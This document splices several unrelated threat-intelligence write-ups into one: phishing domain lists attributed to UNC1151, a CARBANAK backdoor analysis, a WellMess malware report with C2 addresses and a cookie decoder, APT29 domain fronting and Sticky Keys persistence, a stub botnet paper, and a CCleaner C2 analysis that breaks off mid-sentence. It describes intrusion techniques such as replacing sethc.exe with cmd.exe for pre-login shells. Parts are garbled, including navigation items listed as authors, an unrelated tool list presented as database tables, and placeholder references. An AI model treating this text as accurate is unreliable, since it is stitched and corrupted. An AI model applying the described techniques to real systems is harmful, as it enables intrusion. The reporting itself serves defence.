22. net-login.space 23. net-login.website 24. net-mail.space 25. net-validate.space 26. net-verification.site 27. net-verification.website 28. oborona-ua.site 29. passport-account.online 30. passport-yandex.online 31. passport-yandex.site 32. protect-sale.site 33. receller.space 34. sales-oboron.space 35. signin-credentials.online 36. signin-inbox.online 37. signin-inbox.site 38. uazashita.space 39. vilni-ludi.space 40. vp-pl.site 41. vp-pl.website 42. webmail-meta.online 43. wirtualna-polska.online 44. wp-dostep.website 45. wp-firewall.site 46. wp-pl.online 47. wp-pl.site 48. wp-pl.space 49. wp-pl.website 50. yahoo-com.site 51. yahoo-com.space 52. Zahist-ua.space The following domains have been previously attributed as part of UNC1151 operations: 1. account-inbox.online 2. accounts-login.online 3. accounts-telekom.online 4. com-account.website 5. com-validate.site 6. com-verify.site 7. credentials-telekom.online 8. google-com.online 9. inbox-admin.site 10. interia-pl.site 11. interia-pl.website 12. login-inbox.online 13. login-mail.online 14. login-telekom.online 15. login-verify.online 16. logowanie-pl.site 17. meta-ua.online 18. mil-secure.site 19. net-account.online 20. net-account.space 21. net-support.site 22. net-verification.online 23. net-verify.site 24. onet-pl.online 25. op-pl.site 26. potwierdzenie.site 27. ron-mil-pl.site 28. ron-mil-pl.space 29. ru-mailbox.site 30. ru-passport.online 31. secure-firewall.online 32. secure-firewall.site 33. signin-telekom.online 34. ua-agreements.online 35. ua-login.site 36. ua-passport.online 37. ukroboronprom-com.site 38. ukroboronprom.online 39. verify-ua.online 40. verify-ua.site 41. verify-ua.space 42. wp-agreements.online 43. wp-pl-potwierdz-dostep.site 44. wp-pl.eu 45. wp-potwierdzac.site PACT Assesses with Moderate Confidence that the following domains are part of phishing infrastructure that UNC1151 used; additionally, they do not appear in public reporting that has surfaced as part of PACT’s analysis: 1. appie.in 2. apple-email.online 3. apple-emails.online 4. betlimanpark.com 5. com-direct.in 6. com-directly.in 7. com-id.info 8. com-id.site 9. com-idlog.in 10. com-idlogin.in 11. com-idlogin.site 12. com-ids.in 13. com-ids.info 14. com-idsign.in 15. com-idsite.in 16. com-last.info 17. com-latest.info 18. com-latestlocation.info 19. com-locations.info 20. com-logs.in 21. com-map.tech 22. com-site.id 23. com-site.in 24. com-sys.in 25. emails-apple.live 26. eu-icloud.com 27. europe-apple.com 28. europe-icloud.com 29. idlog.in Matt Stafford, Senior Threat Intelligence Researcher
# Behind the CARBANAK Backdoor **Threat Research** James T. Bennett, Barry Vengerik Jun 12, 2017 In this blog, we will take a closer look at the powerful, versatile backdoor known as CARBANAK (aka Anunak). Specifically, we will focus on the operational details of its use over the past few years, including its configuration, the minor variations observed from sample to sample, and its evolution. With these details, we will then draw some conclusions about the operators of CARBANAK. For some additional background on the CARBANAK backdoor, see the papers by Kaspersky and Group-IB and Fox-It. ## Technical Analysis Before we dive into the meat of this blog, a brief technical analysis of the backdoor is necessary to provide some context. CARBANAK is a full-featured backdoor with data-stealing capabilities and a plugin architecture. Some of its capabilities include key logging, desktop video capture, VNC, HTTP form grabbing, file system management, file transfer, TCP tunneling, HTTP proxy, OS destruction, POS and Outlook data theft, and reverse shell. Most of these data-stealing capabilities were present in the oldest variants of CARBANAK that we have seen, and some were added over time. ### Monitoring Threads The backdoor may optionally start one or more threads that perform continuous monitoring for various purposes, as described in Table 1. | Thread Name | Description | |-------------|-------------| | Key logger | Logs key strokes for configured processes and sends them to the command and control (C2) server | | Form grabber | Monitors HTTP traffic for form data and sends it to the C2 server | | POS monitor | Monitors for changes to logs stored in C:\NSB\Coalition\Logs and nsb.pos.client.log and sends parsed data to the C2 server | | PST monitor | Searches recursively for newly created Outlook personal storage table (PST) files within user directories and sends them to the C2 server | | HTTP proxy monitor | Monitors HTTP traffic for requests sent to HTTP proxies, saves the proxy address and credentials for future use | ### Commands In addition to its file management capabilities, this data-stealing backdoor supports 34 commands that can be received from the C2 server. After decryption, these commands are plain text with parameters that are space delimited much like a command line. The command and parameter names are hashed before being compared by the binary, making it difficult to recover the original names of commands and parameters. Table 2 lists these commands. | Command Hash | Command Name | Description | |--------------|--------------|-------------| | 0x0AA37987 | loadconfig | Runs each command specified in the configuration file | | 0x007AA8A5 | state | Updates the state value | | 0x007CFABF | video | Desktop video recording | | 0x06E533C4 | download | Downloads executable and injects into new process | | 0x00684509 | ammyy | Ammyy Admin tool | | 0x07C6A8A5 | update | Updates self | | 0x0B22A5A7 | | Add/Update klgconfig (analysis incomplete) | | 0x0B77F949 | httpproxy | Starts HTTP proxy | | 0x07203363 | killos | Renders computer unbootable by wiping the MBR | | 0x078B9664 | reboot | Reboots the operating system | | 0x07BC54BC | tunnel | Creates a network tunnel | | 0x07B40571 | adminka | Adds new C2 server or proxy address for pseudo-HTTP protocol | | 0x079C9CC2 | server | Adds new C2 server for custom binary protocol | | 0x0007C9C2 | user | Creates or deletes Windows user account | | 0x000078B0 | rdp | Enables concurrent RDP (analysis incomplete) | | 0x079BAC85 | secure | Adds Notification Package (analysis incomplete) | | 0x00006ABC | del | Deletes file or service | | 0x0A89AF94 | startcmd | Adds command to the configuration file | | 0x079C53BD | runmem | Downloads executable and injects directly into new process | | 0x0F4C3903 | logonpasswords| Send Windows accounts details to the C2 server | | 0x0BC205E4 | screenshot | Takes a screenshot of the desktop and sends it to the C2 server | | 0x007A2BC0 | sleep | Backdoor sleeps until specified date | | 0x0006BC6C | dupl | Unknown | | 0x04ACAFC3 | | Upload files to the C2 server | | 0x00007D43 | vnc | Runs VNC plugin | | 0x09C4D055 | runfile | Runs specified executable file | | 0x02032914 | killbot | Uninstalls backdoor | | 0x08069613 | listprocess | Returns list of running processes to the C2 server | | 0x073BE023 | plugins | Change C2 protocol used by plugins | | 0x0B0603B4 | | Download and execute shellcode from specified address | | 0x0B079F93 | killprocess | Terminates the first process found specified by name | | 0x00006A34 | cmd | Initiates a reverse shell to the C2 server | | 0x09C573C7 | runplug | Plugin control | | 0x08CB69DE | autorun | Updates backdoor | ### Configuration A configuration file resides in a file under the backdoor’s installation directory with the .bin extension. It contains commands in the same form as those listed in Table 2 that are automatically executed by the backdoor when it is started. These commands are also executed when the loadconfig command is issued. This file can be likened to a startup script for the backdoor. The state command sets a global variable containing a series of Boolean values represented as ASCII values ‘0’ or ‘1’ and also adds itself to the configuration file. Some of these values indicate which C2 protocol to use, whether the backdoor has been installed, and whether the PST monitoring thread is running or not. Other than the state command, all commands in the configuration file are identified by their hash’s decimal value instead of their plain text name. Certain commands, when executed, add themselves to the configuration so they will persist across (or be part of) reboots. The loadconfig and state commands are executed during initialization, effectively creating the configuration file if it does not exist and writing the state command to it. ### Command and Control CARBANAK communicates to its C2 servers via pseudo-HTTP or a custom binary protocol. #### Pseudo-HTTP Protocol Messages for the pseudo-HTTP protocol are delimited with the ‘|’ character. A message starts with a host ID composed by concatenating a hash value generated from the computer’s hostname and MAC address to a string likely used as a campaign code. Once the message has been formatted, it is sandwiched between an additional two fields of randomly generated strings of upper and lower case alphabet characters. Messages are encrypted using Microsoft’s implementation of RC2 in CBC mode with PKCS#5 padding. The encrypted message is then Base64 encoded, replacing all the ‘/’ and ‘+’ characters with the ‘.’ and ‘-’ characters, respectively. The eight-byte initialization vector (IV) is a randomly generated string consisting of upper and lower case alphabet characters. It is prepended to the encrypted and encoded message. The pseudo-HTTP protocol uses any proxies discovered by the HTTP proxy monitoring thread or added by the adminka command. The backdoor also searches for proxy configurations to use in the registry at HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings and for each profile in the Mozilla Firefox configuration file at %AppData%\Mozilla\Firefox\<ProfileName>\prefs.js. #### Custom Binary Protocol If a message is larger than 150 bytes, it is compressed with an unidentified algorithm. If a message is larger than 4096 bytes, it is broken into compressed chunks. This protocol has undergone several changes over the years, each version building upon the previous version in some way. These changes were likely introduced to render existing network signatures ineffective and to make signature creation more difficult. ### Version 1 In the earliest version of the binary protocol, the message bodies that are stored in the <chunkData> field are simply XORed with the host ID. The initial message is not encrypted and contains the host ID. ### Version 2 Rather than using the host ID as the key, this version uses a random XOR key between 32 and 64 bytes in length that is generated for each session. This key is sent in the initial message. ### Version 3 Version 3 adds encryption to the headers. The first 19 bytes of the message headers (up to the <hdrXORKey2> field) are XORed with a five-byte key that is randomly generated per message and stored in the <hdrXORKey2> field. If the <flag> field of the message header is greater than one, the XOR key used to encrypt message bodies is iterated in reverse when encrypting and decrypting messages. ### Version 4 This version adds a bit more complexity to the header encryption scheme. The headers are XOR encrypted with <hdrXORKey1> and <hdrXORKey2> combined and reversed. ### Version 5 Version 5 is the most sophisticated of the binary protocols we have seen. A 256-bit AES session key is generated and used to encrypt both message headers and bodies separately. Initially, the key is sent to the C2 server with the entire message and headers encrypted with the RSA key exchange algorithm. All subsequent messages are encrypted with AES in CBC mode. The use of public key cryptography makes decryption of the session key infeasible without the C2 server’s private key. ## The Roundup We have rounded up 220 samples of the CARBANAK backdoor and compiled a table that highlights some interesting details that we were able to extract. It should be noted that in most of these cases the backdoor was embedded as a packed payload in another executable or in a weaponized document file of some kind. The MD5 hash is for the original executable file that eventually launches CARBANAK, but the details of each sample were extracted from memory during execution. This data provides us with a unique insight into the operational aspect of CARBANAK. ## Protocol Evolution As described earlier, CARBANAK’s binary protocol has undergone several significant changes over the years. It has been observed that some builds of this data-stealing backdoor use outdated versions of the protocol. This may suggest multiple groups of operators compiling their own builds of this data-stealing backdoor independently. ## Build Tool Most of CARBANAK’s strings are encrypted in order to make analysis more difficult. We have observed that the key and the cipher texts for all the encrypted strings are changed for each sample that we have encountered, even amongst samples with the same compile time. The RC2 key used for the HTTP protocol has also been observed to change among samples with the same compile time. These observations paired with the use of campaign codes that must be configured denote the likely existence of a build tool. ## Rapid Builds Despite the likelihood of a build tool, we have found 57 unique compile times in our sample set, with some of the compile times being quite close in proximity. These minor changes suggest that the code is quickly modified and compiled to adapt to the needs of the operator for particular targets. ## Campaign Code and Compile Time Correlation In some cases, there is a close proximity of the compile time of a CARBANAK sample to the month specified in a particular campaign code. | Campaign Code | Compile Date | |---------------|--------------| | Aug | 7/30/15 | | dec | 12/8/14 | | julyc | 7/2/16 | | jun | 5/9/15 | | june | 5/25/14 | | june | 6/7/14 | | junevnc | 6/20/14 | | juspam | 7/13/14 | | juupd | 7/13/14 | | may | 5/20/14 | | may | 5/19/15 | | ndjun | 6/7/16 | | SeP | 9/12/14 | | spamaug | 8/1/14 | | spaug | 8/1/14 | ## Recent Updates Recently, 64-bit variants of the backdoor have been discovered. Some of these variants are programmed to sleep until a configured activation date when they will become active. ## History ### The “Carbanak Group” Much of the publicly released reporting surrounding the CARBANAK malware refers to a corresponding “Carbanak Group,” who appears to be behind the malicious activity associated with this data-stealing backdoor. FireEye iSIGHT Intelligence has tracked several separate overarching campaigns employing the CARBANAK tool and other associated backdoors, such as DRIFTPIN (aka Toshliph). With the data available at this time, it is unclear how interconnected these campaigns are. ### FIN7 In all Mandiant investigations to date where the CARBANAK backdoor has been discovered, the activity has been attributed to the FIN7 threat group. FIN7 has been extremely active against the U.S. restaurant and hospitality industries since mid-2015. FIN7 uses CARBANAK as a post-exploitation tool in later phases of an intrusion to cement their foothold in a network and maintain access, frequently using the video command to monitor users and learn about the victim network, as well as the tunnel command to proxy connections into isolated portions of the victim environment. ### Widespread Bank Targeting Throughout the U.S., Middle East, and Asia Proofpoint initially reported on a widespread campaign targeting banks and financial organizations throughout the U.S. and Middle East in early 2016. We identified several additional organizations in these regions, as well as in Southeast Asia and Southwest Asia being targeted by the same attackers. This cluster of activity persisted from late 2014 into early 2016. ### DRIFTPIN DRIFTPIN (aka Spy.Agent.ORM, and Toshliph) has been previously associated with CARBANAK in various campaigns. We have seen it deployed in initial spear phishing by FIN7 in the first half of 2016. ### Earlier CARBANAK Activity In December 2014, Group-IB and Fox-IT released a report about an organized criminal group using malware called "Anunak" that has targeted Eastern European banks, U.S. and European point-of-sale systems and other entities. Kaspersky released a similar report about the same group under the name "Carbanak" in February 2015. The name “Carbanak” was coined by Kaspersky in this report – the malware authors refer to the backdoor as Anunak. ## Conclusion The details that can be extracted from CARBANAK provide us with a unique insight into the operational details behind this data-stealing malware. Several inferences can be made when looking at such data in bulk as we discussed above and are summarized as follows: 1. Based upon the information we have observed, we believe that at least some of the operators of CARBANAK either have access to the source code directly with knowledge on how to modify it or have a close relationship to the developer(s). 2. Some of the operators may be compiling their own builds of the backdoor independently. 3. A build tool is likely being used by these attackers that allows the operator to configure details such as C2 addresses, C2 encryption keys, and a campaign code. This build tool encrypts the binary’s strings with a fresh key for each build. 4. Varying campaign codes indicate that independent or loosely affiliated criminal actors are employing CARBANAK in a wide range of intrusions that target a variety of industries but are especially directed at financial institutions across the globe, as well as the restaurant and hospitality sectors within the U.S.
# Malware “WellMess” Targeting Linux and Windows **Shusei Tomonaga** July 6, 2018 Some malware is designed to run on multiple platforms, and most commonly they are written in Java. For example, Adwind malware is written in Java, and it runs on Windows and other OS. Golang is another programming language, and it is used for Mirai controller, which infects Linux systems. This article introduces the behaviour of WellMess malware based on our observation. It is a type of malware programmed in Golang and cross-compiled to make it compatible both with Linux and Windows. ## Behaviour of WellMess Generally, Golang executable files include many required libraries in itself. This usually increases the file size, making WellMess larger than 3 MB. Another feature is that function names for the executable files can be found in the file itself. Below are the function names used in WellMess: - /home/ubuntu/GoProject/src/bot/botlib.EncryptText - /home/ubuntu/GoProject/src/bot/botlib.encrypt - /home/ubuntu/GoProject/src/bot/botlib.Command - /home/ubuntu/GoProject/src/bot/botlib.reply - /home/ubuntu/GoProject/src/bot/botlib.Service - /home/ubuntu/GoProject/src/bot/botlib.saveFile - /home/ubuntu/GoProject/src/bot/botlib.UDFile - /home/ubuntu/GoProject/src/bot/botlib.Download - /home/ubuntu/GoProject/src/bot/botlib.Send - /home/ubuntu/GoProject/src/bot/botlib.Work - /home/ubuntu/GoProject/src/bot/botlib.chunksM - /home/ubuntu/GoProject/src/bot/botlib.Join - /home/ubuntu/GoProject/src/bot/botlib.wellMess - /home/ubuntu/GoProject/src/bot/botlib.RandStringBytes - /home/ubuntu/GoProject/src/bot/botlib.GetRandomBytes - /home/ubuntu/GoProject/src/bot/botlib.Key - /home/ubuntu/GoProject/src/bot/botlib.GenerateSymmKey - /home/ubuntu/GoProject/src/bot/botlib.CalculateMD5Hash - /home/ubuntu/GoProject/src/bot/botlib.Parse - /home/ubuntu/GoProject/src/bot/botlib.Pack - /home/ubuntu/GoProject/src/bot/botlib.Unpack - /home/ubuntu/GoProject/src/bot/botlib.UnpackB - /home/ubuntu/GoProject/src/bot/botlib.FromNormalToBase64 - /home/ubuntu/GoProject/src/bot/botlib.RandInt - /home/ubuntu/GoProject/src/bot/botlib.Base64ToNormal - /home/ubuntu/GoProject/src/bot/botlib.KeySizeError.Error - /home/ubuntu/GoProject/src/bot/botlib.New - /home/ubuntu/GoProject/src/bot/botlib.(*rc6cipher).BlockSize - /home/ubuntu/GoProject/src/bot/botlib.convertFromString - /home/ubuntu/GoProject/src/bot/botlib.(*rc6cipher).Encrypt - /home/ubuntu/GoProject/src/bot/botlib.(*rc6cipher).Decrypt - /home/ubuntu/GoProject/src/bot/botlib.Split - /home/ubuntu/GoProject/src/bot/botlib.Cipher - /home/ubuntu/GoProject/src/bot/botlib.Decipher - /home/ubuntu/GoProject/src/bot/botlib.Pad - /home/ubuntu/GoProject/src/bot/botlib.AES_Encrypt - /home/ubuntu/GoProject/src/bot/botlib.AES_Decrypt - /home/ubuntu/GoProject/src/bot/botlib.generateRandomString - /home/ubuntu/GoProject/src/bot/botlib.deleteFile - /home/ubuntu/GoProject/src/bot/botlib.Post - /home/ubuntu/GoProject/src/bot/botlib.SendMessage - /home/ubuntu/GoProject/src/bot/botlib.ReceiveMessage - /home/ubuntu/GoProject/src/bot/botlib.Send.func1 - /home/ubuntu/GoProject/src/bot/botlib.init - /home/ubuntu/GoProject/src/bot/botlib.(*KeySizeError).Error As mentioned earlier, WellMess has a version that runs on Windows (PE) and another on Linux (ELF). Although there are some minor differences, they both have the same functionality. The malware communicates with a C&C server using HTTP requests and performs functions based on the received commands. Below is an example of the communication: ``` POST / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20130401 Firefox/31.0 Content-Type: application/x-www-form-urlencoded Accept: text/html, */* Accept-Language: en-US,en;q=0.8 Cookie: c22UekXD=J41lrM+S01+KX29R+As21Sur+%3asRnW+3Eo+nIHjv+o6A7qGw+XQr%3aq+PJ9jaI+KQ7G.+FT2wr Host: 45.123.190.168 Content-Length: 426 Expect: 100-continue Accept-Encoding: deflate Connection: Keep-Alive ``` Results of command execution are sent in HTTP POST request data, which is RSA-encrypted. The data in the Cookie header is RC6-encrypted. Below is an example of decrypted data. It contains an identifier for infected hosts (the value in between `<;head;>` tags). ``` <;head;>6F3C9B16C16074079AFCFF09C6717B0F07864FFE09C1E1DB003B3627D174913B/p<;head;> <;title;>a:1_0<;title;><;service;>p<;service;> ``` Below is a part of code that decodes data in the Cookie header: ```python def decode(data, key): sep = ';' field = data.split(sep) i = 1 encdata = "" while i < len(field): value = field[i].split("=") encdata += value[1] i += 1 encdata = urllib.unquote(encdata) encdata = encdata.replace("+", " ").replace(" ", "=").replace(". ", "").replace(" ", "").replace(",", "+").replace(":", "/") maindata = base64.b64decode(encdata) s = generateKey(base64.b64decode(key)) i = 0 decode = "" while i < len(maindata): orgi = rc6(maindata[i:i + 16], s) decode += orgi i += 16 print("Decrypted String: %s" % decode) ``` The malware may perform the following functions when receiving commands from a C&C server: - Execute arbitrary shell command - Upload/Download files In addition, PE file malware executes PowerShell scripts. There is also a version that was developed in .Net Framework. The code that generates data contained in the Cookie header upon communicating with a C&C server contains the same string as in the Cookie data in the Golang version. We have no clue about why the actors have prepared two different versions; however, it seems that they choose a sample depending on the attack target. ## In closing We have confirmed some cases where WellMess infection was found in Japanese organisations. Attacks using the malware may continue. We have listed some hash values of the samples in Appendix A. Some of the C&C servers that we have confirmed are also listed in Appendix B. Please make sure that none of your devices are accessing such hosts. **- Shusei Tomonaga** (Translated by Yukako Uchida) ## Appendix A: SHA-256 Hash value - 0b8e6a11adaa3df120ec15846bb966d674724b6b92eae34d63b665e0698e0193 (Golang&ELF) - bec1981e422c1e01c14511d384a33c9bcc66456c1274bbbac073da825a3f537d (Golang&PE) - 2285a264ffab59ab5a1eb4e2b9bcab9baf26750b6c551ee3094af56a4442ac41 (.Net&PE) ## Appendix B: C&C server - 45.123.190.168 - 103.13.240.46 - 101.201.53.27 - 185.217.92.171 - 93.113.45.101 - 191.101.180.78 **Author** **Shusei Tomonaga** Since December 2012, he has been engaged in malware analysis and forensics investigation, and is especially involved in analyzing incidents of targeted attacks. Prior to joining JPCERT/CC, he was engaged in security monitoring and analysis operations at a foreign-affiliated IT vendor. He presented at CODE BLUE, BsidesLV, BlackHat USA Arsenal, Botconf, PacSec and FIRST Conference. JSAC organizer.
# APT29 Domain Fronting With TOR Mandiant has observed Russian nation-state attackers APT29 employing domain fronting techniques for stealthy backdoor access to victim environments for at least two years. There has been considerable discussion about domain fronting following the release of a paper detailing these techniques. Domain fronting provides outbound network connections that are indistinguishable from legitimate requests for popular websites. APT29 has used The Onion Router (TOR) and the TOR domain fronting plugin meek to create a hidden, encrypted network tunnel that appeared to connect to Google services over TLS. This tunnel provided the attacker remote access to the host system using the Terminal Services (TS), NetBIOS, and Server Message Block (SMB) services, while appearing to be traffic to legitimate websites. The attackers also leveraged a common Windows exploit to access a privileged command shell without authenticating. We first discussed APT29’s use of these techniques as part of our “No Easy Breach” talk at DerbyCon 6.0. For additional details on how we first identified this backdoor, and the epic investigation it was part of, see the slides and presentation. ## Domain Fronting Overview The Onion Router (TOR) is a network of proxy nodes that attempts to provide anonymity to users accessing the Internet. TOR transfers internet traffic through a series of proxy points on the Internet, with each node knowing only the previous and next node in the path. This proxy network, combined with pervasive encryption, makes tracking the source of TOR Internet activity extremely difficult. A TOR client can also use the TOR network to host services that are not accessible from the open Internet. These services are commonly used to host “dark web” sites such as the defunct Silk Road. Typically, network analysts can identify normal TOR traffic through signature analysis or the identification of communication with TOR infrastructure. Meek is a publicly available obfuscation plugin for TOR and an implementation of the domain fronting technique. To hide TOR traffic, meek takes advantage of the way that Google and other Internet content delivery networks (CDNs) route traffic. CDNs often route traffic from IP addresses associated with one service to servers associated with another service hosted on the same network. By hosting a meek reflection server in one of these CDNs, meek can hide TOR traffic in legitimate HTTPS connections to well-known services. Meek obfuscates traffic in several stages. First, it encodes TOR traffic into HTTP specifying the host name of the reflection server (for example, the default server meek-reflect.appspot.com). It then wraps that HTTP traffic in a legitimate TLS connection to a server hosted in the same CDN cloud as the reflection server (in this example, Google). When the CDN server receives the connection, it decrypts the TLS traffic, identifies the hostname specified in the HTTP header, and redirects the traffic to the reflection server. The reflection server then reconstructs the original TOR traffic from the HTTP stream and sends the traffic to the TOR network, which routes it to its destination. This process creates an outbound network connection that appears to contain normal HTTPS POST requests for google.com on a Google-owned IP address, while discretely passing the traffic through the reflection server to the TOR network. Meek can also use the TLS service and cipher suites used by Firefox to further obfuscate traffic. Differentiating this traffic from legitimate connections is extremely difficult, and encryption of both on the initial TLS connection and the TOR traffic makes meaningful analysis of the traffic impossible. Note: Google suspended the reflection server meek-reflect.appspot.com, but other servers, in the Google cloud or other supported CDNs, can fulfill the same function. ## Backdoor Overview Mandiant discovered that APT29 enabled a TOR hidden service that forwarded traffic from the TOR client to local ports 139, 445, and 3389 (NetBIOS, SMB, and TS, respectively). This provided the attackers full remote access to the system from outside of the local network using the hidden TOR (.onion) address of the system. The attackers created the following files and directories during the installation and execution of the backdoor: ``` C:\Program Files(x86)\Google\googleService.exe C:\Program Files(x86)\Google\GoogleUpdate.exe C:\Program Files(x86)\Google\core C:\Program Files(x86)\Google\data C:\Program Files(x86)\Google\data\00 C:\Program Files(x86)\Google\data\00\hostname C:\Program Files(x86)\Google\data\00\private_key C:\Program Files(x86)\Google\debug.log C:\Program Files(x86)\Google\lock C:\Program Files(x86)\Google\cached-certs C:\Program Files(x86)\Google\cached-microdescs C:\Program Files(x86)\Google\cached-microdescs.new C:\Program Files(x86)\Google\cached-microdescs-consensus C:\Program Files(x86)\Google\state C:\Program Files(x86)\Google\start.ps1 C:\Program Files(x86)\Google\install.bat ``` The file `googleService.exe` is the primary TOR executable, responsible for establishing and maintaining encrypted proxy connections. `GoogleUpdate.exe` is the meek-client plugin, which obfuscates the TOR connection. These files are publicly available and have the following hashes: | Filename | SHA256 | |---------------------|-------------------------------------------------------------------------------------------| | googleService.exe | fe744a5b2d07de396a8b3fe97155fc64e350b76d88db36c619cd941279987dc5 | | GoogleUpdate.exe | 2f39dee2ee608e39917cc022d9aae399959e967a2dd70d83b81785a98bd9ed36 | The file `C:\Program Files (x86)\Google\core` contains configuration information for the TOR service `googleService.exe`. The service was configured to: - Communicate on ports 1, 80, and 443 - Bridge traffic using the meek plugin to https://meek-reflect.appspot.com and obfuscate HTTPS and DNS requests to appear destined for www.google.com - Forward traffic from ports 62304, 62305, and 62306 to ports 3389, 139, and 445, respectively The `C:\Program Files (x86)\Google\data\00\hostname` file contained a single line with the TOR hostname for the system. This hostname was a pseudorandomly-generated 16 character alpha-numeric name, with the top-level domain (TLD) .onion. The `C:\Program Files(x86)\Google\data\00\private_key` file contained the TOR client RSA private key. The attackers used the scripts `start.ps1` and `install.bat` to install the TOR service. After installation, the attackers deleted these scripts from the system. Additional files in the directory `C:\Program Files(x86)\Google` contained cached data and logs from the operation of TOR. ## Installation and Persistence The attacker executed the PowerShell script `C:\Program Files(x86)\Google\start.ps1` to install the TOR services and implement the “Sticky Keys” exploit. This script was deleted after execution and was not recovered. By replacing the “Sticky Keys” binary, `C:\Windows\System32\sethc.exe`, with the Windows Command Processor `cmd.exe`, the attackers then accessed a privileged Windows console session without authenticating to the system. “Sticky Keys” is an accessibility feature that allows users to activate Windows modifier keys without pressing more than one key at a time. Pressing the shift key five times activates “Sticky Keys” and executes `sethc.exe`, which, when replaced with `cmd.exe`, opens a System-level command shell. From this shell, the attackers can execute arbitrary Windows commands, including adding or modifying accounts on the system, even from the logon screen (pre-authentication). By tunneling RDP traffic to the system, the attackers could gain both persistent access and privilege escalation using this simple and well-known exploit. The installation script `start.ps1` created a Windows service named `Google Update` to maintain persistence after a system reboot. The script also modified the Terminal Server registry values `fSingleSessionPerUser` to allow multiple simultaneous Windows sessions using the same account, and `fDenyTSConnections` to allow Terminal Services connections. ## Conclusion APT29 adopted domain fronting long before these techniques were widely known. By employing a publicly available implementation, they were able to hide their network traffic, with minimal research or development, and with tools that are difficult to attribute. Detecting this activity on the network requires visibility into TLS connections and effective network signatures. However, when dealing with advanced threat groups who rapidly develop capabilities and invest in hiding network traffic, effective endpoint visibility is vital. Monitoring for potentially interesting events and attacker methodologies, like lateral movement and new persistence creation, can allow defenders to identify these stealthy methodologies.
# Analysis of the Compromised Devices of the Carna Botnet ## Abstract The Carna Botnet was a large-scale network of compromised devices that conducted a significant scan of the Internet. This paper analyzes the characteristics of the devices that were part of this botnet, including their geographical distribution, types of devices, and the implications of such a widespread compromise. ## Introduction The emergence of the Carna Botnet highlighted vulnerabilities in Internet-connected devices. This research aims to provide insights into the nature of these compromised devices and the potential risks they pose to network security. ## Methodology Data was collected from the scans performed by the Carna Botnet. The analysis focused on identifying the types of devices, their locations, and the security measures in place. ## Results The findings revealed a diverse range of devices, including routers, webcams, and other IoT devices. The geographical distribution showed a concentration in certain regions, raising concerns about the security of these devices. ## Discussion The implications of the Carna Botnet's activities underscore the need for improved security practices for Internet-connected devices. The research suggests that manufacturers and users must prioritize security to prevent future compromises. ## Conclusion The analysis of the Carna Botnet provides valuable insights into the vulnerabilities of compromised devices. Addressing these issues is crucial for enhancing the overall security of the Internet. ## References - [Reference 1] - [Reference 2] - [Reference 3]
# CCleaner Command and Control Causes Concern This post was authored by Edmund Brumaghin, Razorback, IP Blacklist Download, Project Aspis, Earl Carter, Warren Mercer, Matthew Molyett, Matthew Olney, Paul Rascagneres, and Craig Williams. Note: This blog post discusses active research by Talos into a new threat. This information should be considered preliminary and will be updated as research continues. ## Introduction Talos recently published a technical analysis of a backdoor which was included with version 5.33 of the CCleaner application. During our investigation, we were provided an archive containing files that were stored on the C2 server. Initially, we had concerns about the legitimacy of the files. However, we were able to quickly verify that the files were very likely genuine based upon the web server configuration files and the fact that our research activity was reflected in the contents of the MySQL database included in the archived files. In analyzing the delivery code from the C2 server, what immediately stands out is a list of organizations, including Cisco, that were specifically targeted through delivery of a second-stage loader. Based on a review of the C2 tracking database, which only covers four days in September, we can confirm that at least 20 victim machines were served specialized secondary payloads. Below is a list of domains the attackers were attempting to target. Not all companies identified in the targets.php file were seen communicating with a secondary C2 or had a secondary payload deployed. Interestingly, the array specified contains Cisco's domain (cisco.com) along with other high-profile technology companies. This would suggest a very focused actor after valuable intellectual property. These new findings raise our level of concern about these events, as elements of our research point towards a possible unknown, sophisticated actor. These findings also support and reinforce our previous recommendation that those impacted by this supply chain attack should not simply remove the affected version of CCleaner or update to the latest version, but should restore from backups or reimage systems to ensure that they completely remove not only the backdoored version of CCleaner but also any other malware that may be resident on the system. ## Technical Details ### Web Server The contents of the web directory taken from the C2 server included a series of PHP files responsible for controlling communications with infected systems. The attacker used a symlink to redirect all normal traffic requesting 'index.php' to the 'x.php' file, which contains the malicious PHP script. In analyzing the contents of the PHP files, we identified that the server implemented a series of checks to determine whether to proceed with standard operations or simply redirect to the legitimate Piriform website. The contents of the HTTP Host header, the request method type, and the server port are checked to confirm that they match what is expected from beacons sent from infected systems. The PHP contains references to the required table for information storage within the 'x.php' variables as defined: - FIRST - LockyDump - FreeSentry - Flokibot Tools - Synful Knock Scanner - Cisco Smart Install Scanner - ROPMEMU Within 'init.php', the $db_table is declared to allow insertion into the required database on the attacker infrastructure. This is 'Server' as defined below. The web server also contains a second PHP file (init.php) that defines core variables and operations used. Interestingly, this configuration specifies "PRC" as the time zone, which corresponds with People's Republic of China (PRC). It’s important to note that this cannot be relied on for attribution. It also specifies the database configuration to use, as well as the filename and directory location to use for the variable $x86DllName. The following information is gathered from infected systems, which is later used to determine how to handle those hosts. This includes OS version information, architecture information, whether the user has administrative rights, as well as the hostname and domain name associated with the systems. The system profile information was rather aggressive and included specific information such as a list of software installed on the machine and all current running processes on the machine with no surprise that 'CCleaner.exe' was a current running process on the victim machine. The system profile information is then stored in the MySQL database. There is also functionality responsible for loading and executing the Stage 2 payload on systems that meet the predefined requirements, similar to functionality that we identified would be required in our previous analysis of Stage 1. While there is shellcode associated with both x86 and x64 PE delivery, it appears that only the x86 PE loading functionality is actually utilized by the C2 server. And below is the shellcode associated with the x64 version of the PE Loader. The PHP script later compares the system beaconing to the C2 to three values: $DomainList, $IPList, and $HostList. This is to determine if the infected system should be delivered a Stage 2 payload. The use of domain-based filtering further indicates the targeted nature of this attack. While we have confirmed that the number of systems affected by the backdoor was large based upon beacon information stored within the MySQL database, the attackers were specifically controlling which infected systems were actually delivered a Stage 2 payload. While it was reported that no systems executed a Stage 2 payload, this is not accurate. In analyzing the database table storing information on the systems that were delivered a Stage 2 payload, we identified 20 unique hosts that may have been affected by this payload. The functionality present within Stage 2 is documented in the "Stage 2 Payloads" section of this post. ### MySQL Database The C2 MySQL database held two tables: one describing all machines that had reported to the server and one describing all machines that received the second-stage download, both of which had entries dated between Sept. 12th and Sept. 16th. Over 700,000 machines reported to the C2 server over this time period, and more than 20 machines have received the second-stage payload. It is important to understand that the target list can be and was changed over the period the server was active to target different organizations. During the compromise, the malware would periodically contact the C2 server and transmit reconnaissance information about infected systems. This information included IP addresses, online time, hostname, domain name, process listings, and more. It's quite likely this information was used by the attackers to determine which machines they should target during the final stages of the campaign. The main connection data is stored in the "Server" table. Here is an example of one of Talos' hosts in that database table: In addition, the 